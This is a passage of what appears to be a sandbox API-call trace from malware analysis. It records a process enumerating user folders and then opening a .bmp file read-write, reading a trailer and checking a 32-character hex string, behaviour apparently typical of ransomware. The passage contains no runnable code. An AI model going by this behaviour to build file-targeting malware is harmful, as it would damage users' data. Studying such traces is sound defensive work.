(pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0061.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.555] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0061.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0061.555] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0061.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.555] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.555] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.555] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.555] PathFindFileNameW (pszPath="") returned="" [0061.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.555] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.556] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.556] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0061.556] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.556] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dab0 [0061.556] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.556] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\") returned="IMJP9_0\\" [0061.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.556] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0061.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.556] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0061.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0061.556] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0061.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.556] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.557] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.557] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.557] PathFindFileNameW (pszPath="") returned="" [0061.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.557] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.557] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.557] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0061.557] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.557] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee6e0 [0061.557] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0061.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.557] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0061.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.557] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0061.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.557] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0061.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0061.558] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0061.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.558] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.558] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.558] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.558] PathFindFileNameW (pszPath="") returned="" [0061.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0061.558] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.559] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.559] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DOMStore", cAlternateFileName="")) returned 1 [0061.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feb968 [0061.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feb688 [0061.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa8) returned 0x2fedd78 [0061.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dab0 [0061.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0061.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febd00 [0061.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0061.559] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0061.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feb968 [0061.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feb688 [0061.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febc48 [0061.559] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 0 [0061.559] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.559] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.559] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0061.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.560] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0061.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0061.560] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0061.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.560] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0061.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0061.560] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0061.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.560] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.560] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.560] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.560] PathFindFileNameW (pszPath="") returned="" [0061.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0061.560] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.561] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.561] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AU", cAlternateFileName="")) returned 1 [0061.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0061.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74eb40 [0061.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfc) returned 0x31218e8 [0061.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee6e0 [0061.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feb968 [0061.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feb688 [0061.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febe70 [0061.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febf28 [0061.561] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0061.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dab0 [0061.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301de40 [0061.561] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 1 [0061.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dab0 [0061.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dda8 [0061.562] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 0 [0061.562] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.562] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febc48 [0061.562] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.562] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\xt72dHYiX\\") returned="xt72dHYiX\\" [0061.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0061.562] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\") returned="T0CQ8VVBC5Xi_UA\\" [0061.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.562] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\") returned="Qz91k6FGRf5u2kNaQ\\" [0061.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0061.562] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0061.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.562] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.562] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.563] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.563] PathFindFileNameW (pszPath="") returned="" [0061.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.563] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\xt72dHYiX\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd20a1b0, ftCreationTime.dwHighDateTime=0x1d4c8c2, ftLastAccessTime.dwLowDateTime=0x8489b330, ftLastAccessTime.dwHighDateTime=0x1d4d215, ftLastWriteTime.dwLowDateTime=0x8489b330, ftLastWriteTime.dwHighDateTime=0x1d4d215, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.563] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd20a1b0, ftCreationTime.dwHighDateTime=0x1d4c8c2, ftLastAccessTime.dwLowDateTime=0x8489b330, ftLastAccessTime.dwHighDateTime=0x1d4d215, ftLastWriteTime.dwLowDateTime=0x8489b330, ftLastWriteTime.dwHighDateTime=0x1d4d215, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.563] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8158f20, ftCreationTime.dwHighDateTime=0x1d4cda0, ftLastAccessTime.dwLowDateTime=0x7de8cfc0, ftLastAccessTime.dwHighDateTime=0x1d4cc70, ftLastWriteTime.dwLowDateTime=0x7de8cfc0, ftLastWriteTime.dwHighDateTime=0x1d4cc70, nFileSizeHigh=0x0, nFileSizeLow=0xad4e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-1 X.bmp", cAlternateFileName="-1X~1.BMP")) returned 1 [0061.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x106) returned 0x31238e8 [0061.563] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\xt72dHYiX\\-1 X.bmp") returned=".bmp" [0061.563] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\xt72dHYiX\\-1 X.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\t0cq8vvbc5xi_ua\\xt72dhyix\\-1 x.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.563] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=44366) returned 1 [0061.563] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.566] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xad28, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.566] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.566] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.566] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xad4e, lpOverlapped=0x0) returned 1 [0061.567] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 